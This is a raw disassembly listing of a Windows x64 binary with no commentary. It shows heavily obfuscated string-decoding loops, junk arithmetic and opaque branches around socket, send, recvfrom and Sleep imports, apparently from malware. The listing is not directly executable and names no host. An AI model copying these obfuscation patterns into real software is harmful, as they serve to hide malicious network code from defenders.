mov ecx, Ordinal_60
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x1400dec94
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400dea78
lea ecx, [rdi + 0x10]
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x70
movzx eax, byte [rbp + rdi + 0x200]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400de2b4
inc rax
cmp r8, rax
jne 0x1400dea99
lea ecx, [rdi - 0x20]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x20
jmp 0x1400decc7
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400deabb
lea ecx, [rdi - 0x38]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x78
jmp 0x1400dec94
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400deae2
movzx r10d, dil
lea ecx, [r10 - 0x68]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x28
jmp 0x1400dec38
lea rax, [r9 + 9]
cmp r8, rax
jne 0x1400de705
movzx r10d, dil
lea ecx, [r10 + 0x50]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x30
jmp 0x1400debce
movzx r10d, dil
lea edx, [r10 + 0x20]
movzx eax, dl
and al, bl
movzx ecx, byte [rbp + rdi + 0x200]
sub cl, al
add cl, 0x10
lea r11d, [rcx + rcx]
add r11b, dl
jmp 0x1400dec38
lea ecx, [rdi + 8]
movzx eax, cl
and al, bl
add al, al
sub cl, al
sub cl, byte [rbp + rdi + 0x200]
lea r11d, [rbx + rcx]
sub r11b, 0x38
jmp 0x1400decc7
lea edx, [rdi - 0xc]
movzx eax, bl
and al, dl
mov ecx, Ordinal_45
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x1400dec94
lea edx, [rdi + 0x3c]
movzx eax, bl
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_46
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
dec rdi
inc rdi
jmp 0x1400de2b4
movzx r10d, dil
lea edx, [r10 + 0x6c]
movzx eax, bl
and al, dl
mov ecx, 6
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x1400debce
movzx r10d, dil
lea ecx, [r10 - 0x64]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x44
sub r10b, 0x54
movzx eax, bl
and al, r10b
mov ecx, Ordinal_41
sub cl, al
add cl, cl
add cl, bl
add cl, r10b
mov byte [rbp + rdi + 0x200], cl
inc r9
dec rdi
inc rdi
jmp 0x1400de2b4
lea edx, [rdi - 0x34]
mov ecx, gethostname
movzx eax, dl
and al, bl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
dec rdi
inc rdi
jmp 0x1400de2b4
movzx r10d, dil
lea ecx, [r10 - 0x1c]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x3c
sub r10b, 0x6c
movzx eax, bl
and al, r10b
add al, al
sub bl, al
sub bl, 0xc
add bl, r11b
add bl, r10b
mov byte [rbp + rdi + 0x200], bl
add r8, r9
jmp 0x1400dec94
lea edx, [rdi - 4]
movzx eax, dl
and al, bl
mov ecx, reloc.WS2_32.dll_ntohl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
add r8, r9
jmp 0x1400dec94
lea rcx, [rdi + r15]
movzx eax, cl
and al, r10b
mov edx, Ordinal_60
sub dl, al
lea r11d, [rdx + rdx]
add r11b, cl
add r11b, r10b
movzx eax, r11b
mov rcx, 0xffffffffffffffff
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x1400de2b4
lea rcx, [rdi + r13]
movzx ebx, r10b
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x34
lea edx, [rdi + 0x7c]
movzx eax, bl
and al, dl
add al, al
movzx ecx, bl
sub cl, al
sub cl, 0x64
add cl, dl
movzx eax, cl
mov byte [rbp + rdi + 0x200], al
inc r9
add rax, r9
sub rdi, rax
lea edx, [rdi - 0x10]
movzx eax, dl
and al, bl
mov ecx, Ordinal_60
sub cl, al
add cl, cl
add cl, dl
add cl, bl
mov byte [rbp + rdi + 0x200], cl
inc r8
mov rax, 0xffffffffffffffff
sub rax, r8
add rdi, rax
movzx eax, byte [rbp + rdi + 0x200]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400de2b4
lea rcx, [rdi + r12]
movzx eax, cl
and al, r10b
mov edx, 0x3e
sub dl, al
lea r11d, [rdx + rdx]
add r11b, cl
add r11b, r10b
movzx eax, byte [rbp + rdi + 0x200]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400de2b4
add dil, 0x44
movzx eax, bl
and al, dil
mov ecx, reloc.WS2_32.dll_select
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dil
jmp 0x1400de2b0
add dil, 0x5c
movzx eax, dil
and al, bl
mov ecx, 0x3e
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dil
add r11b, bl
jmp 0x1400de2a0
lea rcx, [rbp + 0x17b7bf0]
jmp 0x1400dedba
lea rcx, [rbp + 0x1275d64]
jmp 0x1400dedba
lea rcx, [rbp + 0x200]
call fcn.14003f5a0
mov byte [rbp + 0x150], 0xf9
mov byte [rbp + 0x151], 0xda
mov byte [rbp + 0x152], reloc.WLDAP32.dll_Ordinal_200
mov byte [rbp + 0x153], 0xcb
mov byte [rbp + 0x154], Ordinal_211
mov byte [rbp + 0x155], reloc.WLDAP32.dll_Ordinal_211
mov byte [rbp + 0x156], Ordinal_217
mov byte [rbp + 0x157], Ordinal_32
mov byte [rbp + 0x158], 0xfa
mov byte [rbp + 0x159], gethostname
mov byte [rbp + 0x15a], Ordinal_45
mov byte [rbp + 0x15b], gethostname
mov byte [rbp + 0x15c], Ordinal_41
mov byte [rbp + 0x15d], Ordinal_60
mov byte [rbp + 0x15e], Ordinal_200
xor eax, eax
mov qword [rbp + 0x15f], rax
mov word [rbp + 0x167], ax
movabs rsi, 0x1300f36649ba03f7
movabs r14, 0x3902da32dd2e0be5
movzx r11d, byte [rbp + 0x3c0]
xor r13d, r13d
nop word [rax + rax]
mov r8, qword [0x1402e3348]
mov r9, qword [0x1402e3350]
nop
mov rdi, r13
cmp rdi, 0x19
jae 0x1400df8c2
movzx ebx, byte [rbp + rdi + 0x150]
mov rdx, rbx
nop dword [rax + rax]
cmp r8, rdi
ja 0x1400df8b9
lea rax, [r9 + 1]
cmp r8, rax
jae 0x1400deebc
lea rcx, [rdi + rsi]
mov rax, rcx
and rax, rbx
imul r11, rax, 0xfffffffffffffffe
add r11, rcx
add r11, rbx
add r11b, 0x3f
jmp 0x1400deef0
je 0x1400df84d
inc rax
cmp r8, rax
je 0x1400df81d
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400df7e1
lea rax, [r9 + 4]
cmp r8, rax
je 0x1400df7bf
nop dword [rax + rax]
cmp r9, rdi
ja 0x1400df8b0
lea rax, [r9 + 0x1000]
cmp r8, rax
jae 0x1400def1b
lea ecx, [rdi + 0x43]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
add r11b, 0x2b
jmp 0x1400def50
lea rcx, [r9 + 1]
cmp r8, rcx
je 0x1400df785
lea rax, [r9 + 6]
cmp r8, rax
je 0x1400df76c
lea rax, [rcx + 1]
cmp r8, rax
je 0x1400df6eb
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400df6d5
nop
lea rax, [r9 + r8]
cmp rax, rdi
jbe 0x1400df494
nop dword [rax]
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400df476
lea rax, [r9 + 1]
cmp r8, rax
je 0x1400df454
lea rax, [r9 + 0x7a]
cmp r8, rax
je 0x1400df430
lea rax, [r9 + 0x3e8]
cmp r8, rax
je 0x1400df412
lea rax, [r9 + 0x42]
cmp r8, rax
je 0x1400df3f4
lea rax, [r9 + 0x10]
cmp r8, rax
je 0x1400df3db
lea rax, [r9 + 6]
cmp r8, rax
je 0x1400df3b8
lea rax, [r9 + 0x20]
cmp r8, rax
je 0x1400df39f
lea rax, [r9 + 8]
cmp r8, rax
je 0x1400df370
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400def60
lea r8, [r9 + 1]
lea r9, [r8 + 0x5a]
lea rax, [r9 + 0x7a]
cmp r8, rax
jb 0x1400df894
lea rax, [r9 + 0x3e8]
cmp r8, rax
jb 0x1400df878
lea rax, [r9 + 0x42]
cmp r8, rax
jb 0x1400df146
lea rax, [r9 + 0x400]
cmp r8, rax
jb 0x1400df12d
lea rax, [r9 + 0x64]
cmp r8, rax
jb 0x1400df114
lea rax, [r9 + 0x20]
cmp r8, rax
jb 0x1400df326
lea rax, [r9 + 8]
cmp r8, rax
jb 0x1400df2dd
lea rax, [r9 + 3]
cmp r8, rax
jb 0x1400df2a5
lea rax, [r9 + 0x5a]
cmp r8, rax
jb 0x1400df281
lea rax, [r9 + 0x1000]
cmp r8, rax
jb 0x1400def60
lea r8, [r9 + 2]
lea r9, [r8 + 0x2a]
lea rax, [r9 + 0x41]
cmp r8, rax
ja 0x1400df252
lea rax, [r9 + 0x400]
cmp r8, rax
ja 0x1400df239
lea rax, [r9 + 0x64]
cmp r8, rax
ja 0x1400df217
lea rax, [r9 + 0x20]
cmp r8, rax
ja 0x1400df1fe
lea rax, [r9 + 8]
cmp r8, rax
ja 0x1400df1e0
lea rax, [r9 + 3]
cmp r8, rax
ja 0x1400df1c3
lea rax, [r9 + 9]
cmp r8, rax
ja 0x1400df19f
lea rax, [r9 + 4]
cmp r8, rax
ja 0x1400df17d
lea rax, [r9 + 0x2a]
cmp r8, rax
ja 0x1400df15f
lea rax, [r9 + 0x61]
cmp r8, rax
ja 0x1400def60
lea r8, [r9 + 0x400]
lea r9, [r8 + 0x200]
jmp 0x1400def60
lea ecx, [rdi + 0x1d]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
add r11b, 0x35
jmp 0x1400def50
lea ecx, [rdi + 0x2f]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x49
jmp 0x1400deef0
lea ecx, [rdi + 0x41]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
add r11b, 0x39
jmp 0x1400dee85
lea edx, [rdi + 0x18]
movzx eax, dl
and al, bl
mov ecx, Ordinal_45
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x1400df799
lea ecx, [rdi + 0x2a]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x26
inc r9
dec rdi
inc rdi
jmp 0x1400dee73
lea edx, [rdi + 0x3c]
movzx eax, dl
and al, bl
mov ecx, reloc.WLDAP32.dll_Ordinal_46
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
dec rdi
inc rdi
jmp 0x1400dee73
lea ecx, [rdi + 0x4e]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x22
movzx r10d, dil
jmp 0x1400df7fa
lea edx, [rdi + 0x60]
movzx eax, dl
and al, bl
mov ecx, Ordinal_50
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x1400df831
lea ecx, [rdi + 0x72]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x1e
jmp 0x1400df834
lea edx, [rdi - 0x7c]
movzx eax, dl
and al, bl
mov ecx, reloc.WLDAP32.dll_Ordinal_50
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
movzx r10d, dil
jmp 0x1400df704
lea ecx, [rdi - 0x6a]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x1a
jmp 0x1400df72e
lea edx, [rdi - 0x58]
movzx eax, dl
and al, bl
mov ecx, 0x34
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
movzx eax, byte [rbp + rdi + 0x150]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400dee73
lea ecx, [rdi - 0x2b]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
add r11b, 0x2d
mov byte [rbp + rdi + 0x150], r11b
inc rdi
jmp 0x1400dee73
lea ecx, [rdi - 0x19]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x51
cmp r9, 0x28
jb 0x1400df295
lea ecx, [rdi + 0x6a]
movzx eax, cl
and al, bl
mov edx, reloc.WS2_32.dll_listen
sub dl, al
add dl, dl
add dl, cl
add dl, bl
lea r11d, [rdx + rdx]
jmp 0x1400df799
lea ecx, [rdi - 7]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
add r11b, 0x31
cmp r8, 0x20
jae 0x1400df68e
lea rax, [r9 + 0x3e8]
cmp r8, rax
jbe 0x1400df5dc
lea edx, [rdi + 0x1e]
movzx eax, dl
and al, bl
mov ecx, reloc.WS2_32.dll_socket
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x1400df2b9
lea ecx, [rdi + 0xb]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x4d
lea rax, [r9 + r8]
cmp rax, 0x400
je 0x1400df6b8
lea rax, [r9 + 0x200]
cmp r8, rax
jbe 0x1400df56c
lea ecx, [rdi - 0x25]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
add r11b, 3
jmp 0x1400df2f1
lea edx, [rdi - 0x6e]
movzx eax, dl
and al, bl
mov ecx, 1
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
movzx eax, byte [rbp + rdi + 0x150]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400dee73
lea ecx, [rdi - 0x5c]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x7c
jmp 0x1400df72e
movzx r10d, dil
lea edx, [r10 - 0x4a]
movzx eax, dl
and al, bl
mov ecx, 3
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x1400df704
lea ecx, [rdi - 0x38]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x78
jmp 0x1400df834
lea edx, [rdi - 0x26]
movzx eax, dl
and al, bl
mov ecx, 5
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x1400df831
movzx r10d, dil
lea ecx, [r10 - 0x14]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x74
jmp 0x1400df7fa
lea edx, [rdi - 2]
movzx eax, dl
and al, bl
mov ecx, 7
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
dec rdi
inc rdi
jmp 0x1400dee73
lea ecx, [rdi + 0x10]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x70
inc r9
dec rdi
inc rdi
jmp 0x1400dee73
lea edx, [rdi + 0x22]
movzx eax, dl
and al, bl
mov ecx, 9
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x1400df799
lea rax, [r9 + 0x42]
cmp r8, rax
jae 0x1400df4b6
lea ecx, [rdi - 9]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
add r11b, 0x3f
jmp 0x1400df33a
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400df4ee
lea edx, [rdi - 0x7a]
movzx eax, dl
and al, bl
mov ecx, Ordinal_45
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
movzx eax, byte [rbp + rdi + 0x150]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400dee73
inc rax
cmp r8, rax
jne 0x1400df519
movzx r10d, dil
lea edx, [r10 + 0x62]
movzx eax, dl
and al, bl
mov ecx, reloc.WLDAP32.dll_Ordinal_41
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x1400df704
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400df53b
lea ecx, [rdi + 0x50]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x30
jmp 0x1400df834
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1400df33a
lea edx, [rdi + 0x1a]
movzx eax, dl
and al, bl
mov ecx, Ordinal_41
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
dec rdi
inc rdi
jmp 0x1400dee73
lea rcx, [r9 + 1]
cmp r8, rcx
jne 0x1400df58e
lea ecx, [rdi - 0x37]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x7f
jmp 0x1400df799
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400df5b6
lea ecx, [rdi - 0x5b]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
add r11b, 0x7d
dec rdi
inc rdi
jmp 0x1400dee73
lea rax, [rcx + 1]
cmp r8, rax
jne 0x1400df2f1
lea ecx, [rdi - 0x7f]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
add r11b, 0x79
jmp 0x1400df831
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400df60f
lea ecx, [rdi + 0xc]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x54
movzx eax, byte [rbp + rdi + 0x150]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400dee73
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400df636
lea edx, [rdi - 0x2a]
movzx eax, dl
and al, bl
mov ecx, reloc.WS2_32.dll_send
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x1400df834
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400df662
movzx r10d, dil
lea edx, [r10 - 0x4e]
movzx eax, dl
and al, bl
mov ecx, reloc.WS2_32.dll_recvfrom
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x1400df7fa
lea rax, [r9 + 7]
cmp r8, rax
jne 0x1400df2b9
lea ecx, [rdi - 0x60]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x60
dec rdi
inc rdi
jmp 0x1400dee73
movzx r10d, dil
lea edx, [r10 + 0x58]
movzx eax, dl
and al, bl
add al, al
movzx r11d, byte [rbp + rdi + 0x150]
sub r11b, al
sub r11b, 0x68
add r11b, dl
add r11b, bl
jmp 0x1400df7fa
movzx r10d, dil
lea edx, [r10 + 0x46]
movzx eax, dl
and al, bl
mov ecx, ntohl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
jmp 0x1400df704
lea ecx, [rdi - 0x4d]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
add r11b, 0x1b
jmp 0x1400df72e
movzx r10d, dil
lea ecx, [r10 - 0x3b]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x63
add r10b, 0x3d
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
add r10b, 0x55
add r10b, bl
movzx eax, r10b
mov byte [rbp + rdi + 0x150], al
inc r9
add rax, r9
sub rdi, rax
lea ecx, [rdi + 0x34]
movzx eax, cl
and al, bl
add al, al
sub cl, al
sub cl, 0x6c
add cl, bl
mov byte [rbp + rdi + 0x150], cl
inc r8
mov rax, 0xffffffffffffffff
sub rax, r8
add rdi, rax
movzx eax, byte [rbp + rdi + 0x150]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400dee73
lea ecx, [rdi - 0x29]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
add r11b, 0x1f
jmp 0x1400df834
lea ecx, [rdi + 0x31]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x57
lea ecx, [rdi + 0x61]
movzx eax, cl
and al, bl
add al, al
sub cl, al
add cl, 0x59
add cl, bl
mov byte [rbp + rdi + 0x150], cl
inc r9
dec rdi
inc rdi
jmp 0x1400dee73
lea ecx, [rdi + 0x67]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
add r11b, 0x2f
inc r9
dec rdi
inc rdi
jmp 0x1400dee73
movzx r10d, dil
lea ecx, [r10 - 0x75]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
add r11b, 0x33
add r10b, 0x4f
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
sub r10b, 0x29
add r10b, bl
add r10b, r11b
mov byte [rbp + rdi + 0x150], r10b
jmp 0x1400df831
lea ecx, [rdi - 0x63]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x4b
add r8, r9
movzx eax, r11b
mov rcx, 0xffffffffffffffff
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x1400dee73
lea rcx, [rdi + r14]
movzx eax, cl
and al, dl
add al, al
sub cl, al
lea r11d, [rdx + rcx]
sub r11b, 0x43
movzx eax, byte [rbp + rdi + 0x150]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400dee73
add dil, 0x53
movzx eax, dil
and al, bl
add al, al
sub dil, al
lea r11d, [rbx + rdi]
sub r11b, 0x45
jmp 0x1400dee70
add dil, 0x65
movzx eax, dil
and al, bl
add al, al
sub dil, al
lea r11d, [rbx + rdi]
add r11b, 0x3d
jmp 0x1400dee60
lea rcx, [rbp + 0x17aab44]
jmp 0x1400df8c9
lea rcx, [rbp + 0x134af3b]
jmp 0x1400df8c9
lea rcx, [rbp + 0x150]
call fcn.14003f5a0
mov ecx, 0x258
call qword [sym.imp.KERNEL32.dll_Sleep]
call fcn.140052c00
mov ecx, 0x258
call qword [sym.imp.KERNEL32.dll_Sleep]
mov byte [rbp + 0x170], 0x61
mov byte [rbp + 0x171], WSAStartup
mov byte [rbp + 0x172], 0x40
mov byte [rbp + 0x173], 0x43
mov byte [rbp + 0x174], 0x7d
mov byte [rbp + 0x175], WSAStartup
mov byte [rbp + 0x176], reloc.WLDAP32.dll_Ordinal_60
mov byte [rbp + 0x177], reloc.WS2_32.dll_send
mov byte [rbp + 0x178], Ordinal_79
mov byte [rbp + 0x179], WSAStartup
mov byte [rbp + 0x17a], 0x46
mov byte [rbp + 0x17b], reloc.WS2_32.dll_WSACleanup
mov byte [rbp + 0x17c], 0x48
mov byte [rbp + 0x17d], Ordinal_200
xor eax, eax
mov qword [rbp + 0x17e], rax
mov dword [rbp + 0x186], eax
mov word [rbp + 0x18a], ax
mov byte [rbp + 0x18c], al
movabs rsi, 0x500ca3c745843ca3
movabs r14, 0xd071c20171a621bb
movabs r12, 0x30587a72e69da875
movabs r15, 0xf025eb55d08cb5e9
movzx r11d, byte [rbp + 0x3c0]
nop word [rax + rax]
mov r8, qword [0x1402e3348]
mov r9, qword [0x1402e3350]
nop
mov rdi, r13
cmp rdi, 0x1d
jae 0x1400e04e1
movzx ebx, byte [rbp + rdi + 0x170]
mov rdx, rbx
nop dword [rax + rax]
cmp r8, rdi
ja 0x1400e04d8
lea rax, [r9 + 1]
cmp r8, rax
jae 0x1400df9fc
lea rcx, [rdi + rsi]
mov rax, rbx
and rax, rcx
imul r11, rax, 0xfffffffffffffffe
add r11, rbx
add r11, rcx
sub r11b, 0x75
jmp 0x1400dfa36
je 0x1400e046e
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400e03f0
lea rax, [r9 + 4]
cmp r8, rax
je 0x1400e03c2
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400e03a9
lea rax, [r9 + 8]
cmp r8, rax
je 0x1400e0363
cmp r9, rdi
ja 0x1400e04cf
lea rax, [r9 + 0x64]
cmp r8, rax
jae 0x1400dfa62
lea edx, [rdi + 0x5f]
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
add r11b, 0x67
add r11b, dl
jmp 0x1400dfaa0
lea rax, [r9 + 1]
cmp r8, rax
je 0x1400e0347
lea rax, [r9 + 2]
cmp r8, rax
je 0x1400e0328
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400e030c
lea rax, [r9 + 4]
cmp r8, rax
je 0x1400e02ef
nop word [rax + rax]
lea rax, [r9 + r8]
cmp rax, rdi
jbe 0x1400e0001
nop dword [rax]
lea rax, [r9 + 0x42]
cmp r8, rax
je 0x1400dffe2
lea rax, [r9 + 0x10]
cmp r8, rax
je 0x1400dffc0
lea rax, [r9 + 0x64]
cmp r8, rax
je 0x1400dffa1
lea rax, [r9 + 0x20]
cmp r8, rax
je 0x1400dff82
lea rax, [r9 + 0x80]
cmp r8, rax
je 0x1400dff61
lea rax, [r9 + 0x61]
cmp r8, rax
je 0x1400dff43
lea rax, [r9 + 0x200]
cmp r8, rax
je 0x1400dff25
lea rax, [r9 + 0x7a]
cmp r8, rax
je 0x1400dff07
lea rax, [r9 + 2]
cmp r8, rax
je 0x1400dfed8
lea rax, [r9 + 0x41]
cmp r8, rax
je 0x1400dfab0
lea r8, [r9 + 5]
lea r9, [r8 + 3]
lea rax, [r9 + 1]
cmp r8, rax
jb 0x1400e04b4
lea rax, [r9 + 6]
cmp r8, rax
jb 0x1400e0499
lea rax, [r9 + 2]
cmp r8, rax
jb 0x1400dfc9b
lea rax, [r9 + 8]
cmp r8, rax
jb 0x1400dfc7e
lea rax, [r9 + 0x28]
cmp r8, rax
jb 0x1400dfc61
lea rax, [r9 + 9]
cmp r8, rax
jb 0x1400dfe86
lea rax, [r9 + 0x40]
cmp r8, rax
jb 0x1400dfe3d
lea rax, [r9 + 0x3e8]
cmp r8, rax
jb 0x1400dfdfc
lea rax, [r9 + 0x42]
cmp r8, rax
jb 0x1400dfdd8
lea rax, [r9 + 0x400]
cmp r8, rax
jb 0x1400dfab0
lea r8, [r9 + 0x200]
lea r9, [r8 + 0x64]
lea rax, [r9 + 0x7a]
cmp r8, rax
ja 0x1400dfdae
lea rax, [r9 + 0x3e8]
cmp r8, rax
ja 0x1400dfd91
lea rax, [r9 + 0x41]
cmp r8, rax
ja 0x1400dfd74
lea rax, [r9 + 3]
cmp r8, rax
ja 0x1400dfd5b
lea rax, [r9 + 0x5a]
cmp r8, rax
ja 0x1400dfd3f
lea rax, [r9 + 4]
cmp r8, rax
ja 0x1400dfd21
lea rax, [r9 + 0x2a]
cmp r8, rax
ja 0x1400dfcfd
lea rax, [r9 + 5]
cmp r8, rax
ja 0x1400dfcd6
lea rax, [r9 + 0x10]
cmp r8, rax
ja 0x1400dfcb7
lea rax, [r9 + 6]
cmp r8, rax
ja 0x1400dfab0
lea r8, [r9 + 0x40]
lea r9, [r8 + 0x20]
jmp 0x1400dfab0
lea edx, [rdi - 0x7f]
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
add r11b, 0x79
add r11b, dl
jmp 0x1400dfaa0
lea edx, [rdi + 0x3b]
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
add r11b, 0x63
add r11b, dl
jmp 0x1400dfa36
lea edx, [rdi - 0xb]
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
add dl, 0x4d
add r11b, dl
jmp 0x1400df9c5
lea edx, [rdi - 8]
movzx eax, bl
and al, dl
mov ecx, Ordinal_32
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
movzx r10d, dil
jmp 0x1400e037d
lea edx, [rdi - 0x4e]
movzx eax, bl
and al, dl
mov ecx, reloc.WS2_32.dll_recvfrom
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
inc r9
dec rdi
inc rdi
jmp 0x1400df9b3
lea edx, [rdi + 0x6c]
movzx eax, bl
and al, dl
mov ecx, 6
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
dec rdi
inc rdi
jmp 0x1400df9b3
lea edx, [rdi + 0x26]
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0xa
movzx r10d, dil
jmp 0x1400e02b1
lea ecx, [rdi - 0x20]
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x20
add r8, r9
jmp 0x1400e03d7
lea ecx, [rdi - 0x66]
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x36
jmp 0x1400e03d7
lea edx, [rdi + 0x54]
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x4c
add r11b, dl
jmp 0x1400e0409
lea edx, [rdi + 0xe]
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x62
add r11b, dl
jmp 0x1400e0430
lea ecx, [rdi - 0x38]
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x78
movzx eax, byte [rbp + rdi + 0x170]
